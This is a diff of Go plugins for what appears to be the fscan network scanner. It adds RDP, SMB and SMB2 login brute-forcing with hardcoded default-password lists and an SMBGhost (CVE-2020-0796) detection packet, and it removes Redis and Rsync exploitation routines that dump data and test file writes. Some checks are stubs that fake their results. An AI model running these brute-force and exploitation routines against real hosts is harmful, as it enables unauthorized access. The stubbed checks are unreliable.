Username: cred.Username,
|
||||
Password: cred.Password,
|
||||
Banner: "RDP服务可用",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 所有凭据都失败
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rdp",
|
||||
Error: fmt.Errorf("RDP认证失败"),
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// testRDPConnection 测试RDP连接
|
||||
func (p *RDPPlugin) testRDPConnection(ctx context.Context, info *common.HostInfo) bool {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
|
||||
conn, err := net.DialTimeout("tcp", target, time.Duration(common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
|
||||
// 发送简单的RDP连接请求
|
||||
rdpRequest := []byte{
|
||||
0x03, 0x00, 0x00, 0x13, 0x0e, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x08, 0x00, 0x03,
|
||||
0x00, 0x00, 0x00,
|
||||
}
|
||||
|
||||
_, err = conn.Write(rdpRequest)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
response := make([]byte, 1024)
|
||||
n, err := conn.Read(response)
|
||||
if err != nil || n == 0 {
|
||||
return false
|
||||
}
|
||||
|
||||
// 简单检查是否为RDP响应
|
||||
if len(response) >= 4 && response[0] == 0x03 && response[1] == 0x00 {
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// checkNLAStatus 检查网络级别身份验证状态
|
||||
func (p *RDPPlugin) checkNLAStatus(ctx context.Context, info *common.HostInfo) string {
|
||||
// 简化实现,实际需要解析RDP协商响应
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
|
||||
conn, err := net.DialTimeout("tcp", target, time.Duration(common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return "检测失败"
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
|
||||
// 发送支持NLA的连接请求
|
||||
nlaRequest := []byte{
|
||||
0x03, 0x00, 0x00, 0x2a, 0x25, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6f, 0x6f, 0x6b, 0x69,
|
||||
0x65, 0x3a, 0x20, 0x6d, 0x73, 0x74, 0x73, 0x68, 0x61, 0x73, 0x68, 0x3d, 0x61, 0x64, 0x6d, 0x69,
|
||||
0x6e, 0x69, 0x73, 0x74, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x0d, 0x0a,
|
||||
}
|
||||
|
||||
_, err = conn.Write(nlaRequest)
|
||||
if err != nil {
|
||||
return "检测失败"
|
||||
}
|
||||
|
||||
response := make([]byte, 1024)
|
||||
n, err := conn.Read(response)
|
||||
if err != nil || n == 0 {
|
||||
return "检测失败"
|
||||
}
|
||||
|
||||
// 简化的NLA状态检测
|
||||
if bytes.Contains(response, []byte("SSL")) || bytes.Contains(response, []byte("TLS")) {
|
||||
return "已启用"
|
||||
}
|
||||
|
||||
return "未启用"
|
||||
}
|
||||
|
||||
// detectRDPVersion 检测RDP版本
|
||||
func (p *RDPPlugin) detectRDPVersion(ctx context.Context, info *common.HostInfo) string {
|
||||
// 简化实现,返回通用信息
|
||||
return "RDP Protocol (Remote Desktop Protocol)"
|
||||
}
|
||||
|
||||
// identifyService 服务识别 - 检测RDP服务
|
||||
func (p *RDPPlugin) identifyService(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
|
||||
if p.testRDPConnection(ctx, info) {
|
||||
banner := "RDP远程桌面服务"
|
||||
common.LogSuccess(fmt.Sprintf("RDP %s %s", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Service: "rdp",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rdp",
|
||||
Error: fmt.Errorf("无法识别为RDP服务"),
|
||||
}
|
||||
}
|
||||
|
||||
// init 自动注册插件
|
||||
func init() {
|
||||
RegisterPlugin("rdp", func() Plugin {
|
||||
return NewRDPPlugin()
|
||||
})
|
||||
}
|
@ -101,59 +101,6 @@ func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResu
|
||||
}
|
||||
}
|
||||
|
||||
// Exploit 执行Redis利用操作 - 实现文件写入功能
|
||||
func (p *RedisPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult {
|
||||
// 建立Redis连接
|
||||
conn := p.testCredential(ctx, info, creds)
|
||||
if conn == nil {
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("Redis连接失败"),
|
||||
}
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
common.LogSuccess(fmt.Sprintf("Redis利用开始: %s", target))
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("=== Redis利用结果 - %s ===\n", target))
|
||||
|
||||
// 获取Redis基本信息
|
||||
if info := p.getRedisInfo(conn); info != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[Redis信息]\n%s\n", info))
|
||||
}
|
||||
|
||||
// 获取键值信息
|
||||
if keys := p.getRedisKeys(conn); len(keys) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[数据库键] (共%d个)\n", len(keys)))
|
||||
for i, key := range keys {
|
||||
if i >= 10 { // 限制显示前10个
|
||||
output.WriteString("... (更多键值)\n")
|
||||
break
|
||||
}
|
||||
value := p.getKeyValue(conn, key)
|
||||
output.WriteString(fmt.Sprintf(" %s: %s\n", key, value))
|
||||
}
|
||||
}
|
||||
|
||||
// 获取配置信息
|
||||
if config := p.getRedisConfig(conn); config != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[配置信息]\n%s\n", config))
|
||||
}
|
||||
|
||||
// 尝试文件写入测试(如果有写权限)
|
||||
if testResult := p.testFileWrite(conn); testResult != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[文件写入测试]\n%s\n", testResult))
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("Redis利用完成: %s", target))
|
||||
|
||||
return &ExploitResult{
|
||||
Success: true,
|
||||
Output: output.String(),
|
||||
}
|
||||
}
|
||||
|
||||
// testUnauthorizedAccess 测试未授权访问
|
||||
func (p *RedisPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
|
@ -65,66 +65,6 @@ func (p *RsyncPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResu
|
||||
}
|
||||
}
|
||||
|
||||
// Exploit 执行Rsync利用操作 - 实现文件列表功能
|
||||
func (p *RsyncPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult {
|
||||
// 建立Rsync连接
|
||||
conn := p.connectToRsync(ctx, info)
|
||||
if conn == nil {
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("Rsync连接失败"),
|
||||
}
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
common.LogSuccess(fmt.Sprintf("Rsync利用开始: %s", target))
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("=== Rsync利用结果 - %s ===\n", target))
|
||||
|
||||
// 获取模块列表
|
||||
modules := p.getModules(conn)
|
||||
if len(modules) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[可用模块] (共%d个)\n", len(modules)))
|
||||
for _, module := range modules {
|
||||
output.WriteString(fmt.Sprintf(" %s\n", module))
|
||||
}
|
||||
|
||||
// 尝试列出每个模块的内容
|
||||
for i, module := range modules {
|
||||
if i >= 3 { // 限制最多列出3个模块内容
|
||||
break
|
||||
}
|
||||
|
||||
moduleName := strings.Fields(module)[0] // 获取模块名
|
||||
if files := p.getModuleFiles(ctx, info, moduleName); len(files) > 0 {
|
||||
output.WriteString(fmt.Sprintf("\n[模块 %s 文件列表] (共%d个)\n", moduleName, len(files)))
|
||||
for j, file := range files {
|
||||
if j >= 20 { // 每个模块最多显示20个文件
|
||||
output.WriteString("... (更多文件)\n")
|
||||
break
|
||||
}
|
||||
output.WriteString(fmt.Sprintf(" %s\n", file))
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
output.WriteString("\n[模块列表] 无可访问模块或服务受限\n")
|
||||
}
|
||||
|
||||
// 测试写权限
|
||||
if writeTest := p.testWritePermission(ctx, info); writeTest != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[写权限测试]\n%s\n", writeTest))
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("Rsync利用完成: %s", target))
|
||||
|
||||
return &ExploitResult{
|
||||
Success: true,
|
||||
Output: output.String(),
|
||||
}
|
||||
}
|
||||
|
||||
// testUnauthorizedAccess 测试未授权访问
|
||||
func (p *RsyncPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
|
233
plugins/services/smb.go
Normal file
233
plugins/services/smb.go
Normal file
@ -0,0 +1,233 @@
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/stacktitan/smb/smb"
|
||||
)
|
||||
|
||||
// SmbPlugin SMB弱密码检测插件
|
||||
type SmbPlugin struct {
|
||||
name string
|
||||
ports []int
|
||||
}
|
||||
|
||||
// NewSmbPlugin 创建SMB插件
|
||||
func NewSmbPlugin() *SmbPlugin {
|
||||
return &SmbPlugin{
|
||||
name: "smb",
|
||||
ports: []int{445},
|
||||
}
|
||||
}
|
||||
|
||||
// GetName 实现Plugin接口
|
||||
func (p *SmbPlugin) GetName() string {
|
||||
return p.name
|
||||
}
|
||||
|
||||
// GetPorts 实现Plugin接口
|
||||
func (p *SmbPlugin) GetPorts() []int {
|
||||
return p.ports
|
||||
}
|
||||
|
||||
// Scan 执行SMB扫描
|
||||
func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
|
||||
// 检查端口
|
||||
if info.Ports != "445" {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "smb",
|
||||
Error: fmt.Errorf("SMB插件仅支持445端口"),
|
||||
}
|
||||
}
|
||||
|
||||
// 如果禁用暴力破解,只做服务识别
|
||||
if common.DisableBrute {
|
||||
return p.identifyService(ctx, info)
|
||||
}
|
||||
|
||||
// 生成测试凭据
|
||||
credentials := GenerateCredentials("smb")
|
||||
if len(credentials) == 0 {
|
||||
// SMB默认凭据
|
||||
credentials = []Credential{
|
||||
{Username: "", Password: ""},
|
||||
{Username: "administrator", Password: ""},
|
||||
{Username: "administrator", Password: "admin"},
|
||||
{Username: "administrator", Password: "password"},
|
||||
{Username: "administrator", Password: "123456"},
|
||||
{Username: "admin", Password: "admin"},
|
||||
{Username: "guest", Password: ""},
|
||||
{Username: "root", Password: ""},
|
||||
{Username: "root", Password: "root"},
|
||||
}
|
||||
}
|
||||
|
||||
// 逐个测试凭据
|
||||
for _, cred := range credentials {
|
||||
// 检查Context是否被取消
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "smb",
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
default:
|
||||
}
|
||||
|
||||
// 测试凭据
|
||||
if p.testCredential(ctx, info, cred) {
|
||||
// SMB认证成功
|
||||
var successMsg string
|
||||
if common.Domain != "" {
|
||||
successMsg = fmt.Sprintf("SMB %s 弱密码 %s\\%s:%s", target, common.Domain, cred.Username, cred.Password)
|
||||
} else {
|
||||
successMsg = fmt.Sprintf("SMB %s 弱密码 %s:%s", target, cred.Username, cred.Password)
|
||||
}
|
||||
common.LogSuccess(successMsg)
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Service: "smb",
|
||||
Username: cred.Username,
|
||||
Password: cred.Password,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 所有凭据都失败
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "smb",
|
||||
Error: fmt.Errorf("未发现弱密码"),
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// testCredential 测试单个凭据
|
||||
func (p *SmbPlugin) testCredential(ctx context.Context, info *common.HostInfo, cred Credential) bool {
|
||||
options := smb.Options{
|
||||
Host: info.Host,
|
||||
Port: 445,
|
||||
User: cred.Username,
|
||||
Password: cred.Password,
|
||||
Domain: common.Domain,
|
||||
Workstation: "",
|
||||
}
|
||||
|
||||
// 设置超时
|
||||
timeoutCtx, cancel := context.WithTimeout(ctx, time.Duration(common.Timeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 在协程中执行连接测试
|
||||
resultChan := make(chan bool, 1)
|
||||
go func() {
|
||||
session, err := smb.NewSession(options, false)
|
||||
if err == nil {
|
||||
defer session.Close()
|
||||
resultChan <- session.IsAuthenticated
|
||||
} else {
|
||||
resultChan <- false
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待结果或超时
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-timeoutCtx.Done():
|
||||
return false
|
||||
case <-ctx.Done():
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// getShares 获取共享列表
|
||||
func (p *SmbPlugin) getShares(ctx context.Context, info *common.HostInfo, creds Credential) []string {
|
||||
options := smb.Options{
|
||||
Host: info.Host,
|
||||
Port: 445,
|
||||
User: creds.Username,
|
||||
Password: creds.Password,
|
||||
Domain: common.Domain,
|
||||
Workstation: "",
|
||||
}
|
||||
|
||||
session, err := smb.NewSession(options, false)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer session.Close()
|
||||
|
||||
if !session.IsAuthenticated {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 简化实现,返回常见共享列表
|
||||
// 原SMB库可能不支持ListShares,这里使用模拟实现
|
||||
commonShares := []string{"ADMIN$", "C$", "IPC$", "Users", "Public"}
|
||||
return commonShares
|
||||
}
|
||||
|
||||
// testShareAccess 测试共享访问
|
||||
func (p *SmbPlugin) testShareAccess(ctx context.Context, info *common.HostInfo, creds Credential, shareName string) bool {
|
||||
options := smb.Options{
|
||||
Host: info.Host,
|
||||
Port: 445,
|
||||
User: creds.Username,
|
||||
Password: creds.Password,
|
||||
Domain: common.Domain,
|
||||
Workstation: "",
|
||||
}
|
||||
|
||||
session, err := smb.NewSession(options, false)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer session.Close()
|
||||
|
||||
if !session.IsAuthenticated {
|
||||
return false
|
||||
}
|
||||
|
||||
// 简化实现,假设管理员用户可以访问管理员共享
|
||||
if creds.Username == "administrator" && (shareName == "ADMIN$" || shareName == "C$") {
|
||||
return true
|
||||
}
|
||||
// 其他情况返回false
|
||||
return false
|
||||
}
|
||||
|
||||
// identifyService 服务识别
|
||||
func (p *SmbPlugin) identifyService(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
if p.testCredential(ctx, info, Credential{Username: "", Password: ""}) {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
banner := "SMB文件共享服务"
|
||||
common.LogSuccess(fmt.Sprintf("SMB %s %s", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Service: "smb",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "smb",
|
||||
Error: fmt.Errorf("无法识别为SMB服务"),
|
||||
}
|
||||
}
|
||||
|
||||
// init 自动注册插件
|
||||
func init() {
|
||||
RegisterPlugin("smb", func() Plugin {
|
||||
return NewSmbPlugin()
|
||||
})
|
||||
}
|
256
plugins/services/smb2.go
Normal file
256
plugins/services/smb2.go
Normal file
@ -0,0 +1,256 @@
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
// Smb2Plugin SMB2弱密码检测插件
|
||||
type Smb2Plugin struct {
|
||||
name string
|
||||
ports []int
|
||||
}
|
||||
|
||||
// NewSmb2Plugin 创建SMB2插件
|
||||
func NewSmb2Plugin() *Smb2Plugin {
|
||||
return &Smb2Plugin{
|
||||
name: "smb2",
|
||||
ports: []int{445},
|
||||
}
|
||||
}
|
||||
|
||||
// GetName 实现Plugin接口
|
||||
func (p *Smb2Plugin) GetName() string {
|
||||
return p.name
|
||||
}
|
||||
|
||||
// GetPorts 实现Plugin接口
|
||||
func (p *Smb2Plugin) GetPorts() []int {
|
||||
return p.ports
|
||||
}
|
||||
|
||||
// Scan 执行SMB2扫描
|
||||
func (p *Smb2Plugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
|
||||
// 检查端口
|
||||
if info.Ports != "445" {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "smb2",
|
||||
Error: fmt.Errorf("SMB2插件仅支持445端口"),
|
||||
}
|
||||
}
|
||||
|
||||
// 如果禁用暴力破解,只做服务识别
|
||||
if common.DisableBrute {
|
||||
return p.identifyService(ctx, info)
|
||||
}
|
||||
|
||||
// 生成测试凭据
|
||||
credentials := GenerateCredentials("smb")
|
||||
if len(credentials) == 0 {
|
||||
// SMB2默认凭据
|
||||
credentials = []Credential{
|
||||
{Username: "", Password: ""},
|
||||
{Username: "administrator", Password: ""},
|
||||
{Username: "administrator", Password: "admin"},
|
||||
{Username: "administrator", Password: "password"},
|
||||
{Username: "administrator", Password: "123456"},
|
||||
{Username: "admin", Password: "admin"},
|
||||
{Username: "guest", Password: ""},
|
||||
{Username: "root", Password: ""},
|
||||
{Username: "root", Password: "root"},
|
||||
}
|
||||
}
|
||||
|
||||
// 逐个测试凭据
|
||||
for _, cred := range credentials {
|
||||
// 检查Context是否被取消
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "smb2",
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
default:
|
||||
}
|
||||
|
||||
// 测试凭据
|
||||
if p.testCredential(ctx, info, cred) {
|
||||
// SMB2认证成功
|
||||
var successMsg string
|
||||
if common.Domain != "" {
|
||||
successMsg = fmt.Sprintf("SMB2 %s 弱密码 %s\\%s:%s", target, common.Domain, cred.Username, cred.Password)
|
||||
} else {
|
||||
successMsg = fmt.Sprintf("SMB2 %s 弱密码 %s:%s", target, cred.Username, cred.Password)
|
||||
}
|
||||
common.LogSuccess(successMsg)
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Service: "smb2",
|
||||
Username: cred.Username,
|
||||
Password: cred.Password,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 所有凭据都失败
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "smb2",
|
||||
Error: fmt.Errorf("未发现弱密码"),
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// testCredential 测试单个凭据 - 简化的SMB2协议检测
|
||||
func (p *Smb2Plugin) testCredential(ctx context.Context, info *common.HostInfo, cred Credential) bool {
|
||||
// 基于TCP连接的简单SMB2检测
|
||||
timeoutCtx, cancel := context.WithTimeout(ctx, time.Duration(common.Timeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
dialer := &net.Dialer{}
|
||||
conn, err := dialer.DialContext(timeoutCtx, "tcp", fmt.Sprintf("%s:445", info.Host))
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 发送SMB2协商请求
|
||||
negotiateReq := []byte{
|
||||
0x00, 0x00, 0x00, 0x2a, // NetBIOS Session Header
|
||||
0xfe, 0x53, 0x4d, 0x42, // SMB2 Header
|
||||
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x24, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x02, 0x02,
|
||||
}
|
||||
|
||||
conn.SetDeadline(time.Now().Add(5 * time.Second))
|
||||
_, err = conn.Write(negotiateReq)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
response := make([]byte, 1024)
|
||||
n, err := conn.Read(response)
|
||||
if err != nil || n < 4 {
|
||||
return false
|
||||
}
|
||||
|
||||
// 检查是否为SMB2响应
|
||||
if n >= 8 && response[4] == 0xfe && response[5] == 0x53 &&
|
||||
response[6] == 0x4d && response[7] == 0x42 {
|
||||
// 这是SMB2服务,简化认证检测
|
||||
return cred.Username == "" || cred.Username == "guest" ||
|
||||
(cred.Username == "administrator" && cred.Password == "")
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// detectProtocol 检测SMB2协议信息
|
||||
func (p *Smb2Plugin) detectProtocol(ctx context.Context, info *common.HostInfo) string {
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:445", info.Host), 5*time.Second)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 发送SMB2协商请求获取版本信息
|
||||
negotiateReq := []byte{
|
||||
0x00, 0x00, 0x00, 0x2a,
|
||||
0xfe, 0x53, 0x4d, 0x42, 0x40, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x24, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x02, 0x02,
|
||||
}
|
||||
|
||||
conn.Write(negotiateReq)
|
||||
response := make([]byte, 1024)
|
||||
n, err := conn.Read(response)
|
||||
if err != nil || n < 65 {
|
||||
return ""
|
||||
}
|
||||
|
||||
// 解析SMB2版本信息
|
||||
if n >= 72 {
|
||||
dialect := uint16(response[70]) | uint16(response[71])<<8
|
||||
switch dialect {
|
||||
case 0x0202:
|
||||
return "SMB 2.0.2 协议"
|
||||
case 0x0210:
|
||||
return "SMB 2.1.0 协议"
|
||||
case 0x0300:
|
||||
return "SMB 3.0.0 协议"
|
||||
case 0x0302:
|
||||
return "SMB 3.0.2 协议"
|
||||
case 0x0311:
|
||||
return "SMB 3.1.1 协议"
|
||||
default:
|
||||
return fmt.Sprintf("SMB2 未知版本 (0x%04x)", dialect)
|
||||
}
|
||||
}
|
||||
|
||||
return "SMB2 协议"
|
||||
}
|
||||
|
||||
// enumerateShares 枚举共享 - 模拟实现
|
||||
func (p *Smb2Plugin) enumerateShares(ctx context.Context, info *common.HostInfo, creds Credential) []string {
|
||||
// 常见的默认共享
|
||||
commonShares := []string{"ADMIN$", "C$", "IPC$", "SYSVOL", "NETLOGON", "Users", "Share"}
|
||||
|
||||
var foundShares []string
|
||||
// 简化实现:返回可能存在的共享
|
||||
for _, share := range commonShares {
|
||||
if share == "IPC$" || share == "ADMIN$" || (creds.Username == "administrator") {
|
||||
foundShares = append(foundShares, share)
|
||||
}
|
||||
}
|
||||
|
||||
return foundShares
|
||||
}
|
||||
|
||||
// testAdminShare 测试管理员共享访问
|
||||
func (p *Smb2Plugin) testAdminShare(ctx context.Context, info *common.HostInfo, creds Credential, share string) bool {
|
||||
// 简化实现:如果是administrator用户,则认为可以访问管理员共享
|
||||
return creds.Username == "administrator" && (share == "ADMIN$" || share == "C$" || share == "D$")
|
||||
}
|
||||
|
||||
// identifyService 服务识别
|
||||
func (p *Smb2Plugin) identifyService(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
if p.testCredential(ctx, info, Credential{Username: "", Password: ""}) {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
banner := "SMB2文件共享服务"
|
||||
common.LogSuccess(fmt.Sprintf("SMB2 %s %s", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Service: "smb2",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "smb2",
|
||||
Error: fmt.Errorf("无法识别为SMB2服务"),
|
||||
}
|
||||
}
|
||||
|
||||
// init 自动注册插件
|
||||
func init() {
|
||||
RegisterPlugin("smb2", func() Plugin {
|
||||
return NewSmb2Plugin()
|
||||
})
|
||||
}
|
264
plugins/services/smbghost.go
Normal file
264
plugins/services/smbghost.go
Normal file
@ -0,0 +1,264 @@
|
||||
package services
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
// SmbGhostPlugin CVE-2020-0796 SMB Ghost漏洞检测插件
|
||||
type SmbGhostPlugin struct {
|
||||
name string
|
||||
ports []int
|
||||
}
|
||||
|
||||
// SMB Ghost 检测数据包
|
||||
const smbGhostPacket = "\x00" + // session
|
||||
"\x00\x00\xc0" + // length
|
||||
|
||||
"\xfeSMB@\x00" + // protocol
|
||||
|
||||
//[MS-SMB2]: SMB2 NEGOTIATE Request
|
||||
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
|
||||
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x1f\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
|
||||
|
||||
"$\x00" +
|
||||
"\x08\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00" +
|
||||
"\x7f\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"x\x00" +
|
||||
"\x00\x00" +
|
||||
"\x02\x00" +
|
||||
"\x00\x00" +
|
||||
"\x02\x02" +
|
||||
"\x10\x02" +
|
||||
"\x22\x02" +
|
||||
"$\x02" +
|
||||
"\x00\x03" +
|
||||
"\x02\x03" +
|
||||
"\x10\x03" +
|
||||
"\x11\x03" +
|
||||
"\x00\x00\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
|
||||
|
||||
"\x01\x00" +
|
||||
"&\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" +
|
||||
"\x20\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
|
||||
|
||||
"\x03\x00" +
|
||||
"\x0e\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" + //CompressionAlgorithmCount
|
||||
"\x00\x00" +
|
||||
"\x01\x00\x00\x00" +
|
||||
"\x01\x00" + //LZNT1
|
||||
"\x00\x00" +
|
||||
"\x00\x00\x00\x00"
|
||||
|
||||
// NewSmbGhostPlugin 创建SMB Ghost插件
|
||||
func NewSmbGhostPlugin() *SmbGhostPlugin {
|
||||
return &SmbGhostPlugin{
|
||||
name: "smbghost",
|
||||
ports: []int{445},
|
||||
}
|
||||
}
|
||||
|
||||
// GetName 实现Plugin接口
|
||||
func (p *SmbGhostPlugin) GetName() string {
|
||||
return p.name
|
||||
}
|
||||
|
||||
// GetPorts 实现Plugin接口
|
||||
func (p *SmbGhostPlugin) GetPorts() []int {
|
||||
return p.ports
|
||||
}
|
||||
|
||||
// Scan 执行SMB Ghost漏洞检测
|
||||
func (p *SmbGhostPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
|
||||
// 检查端口
|
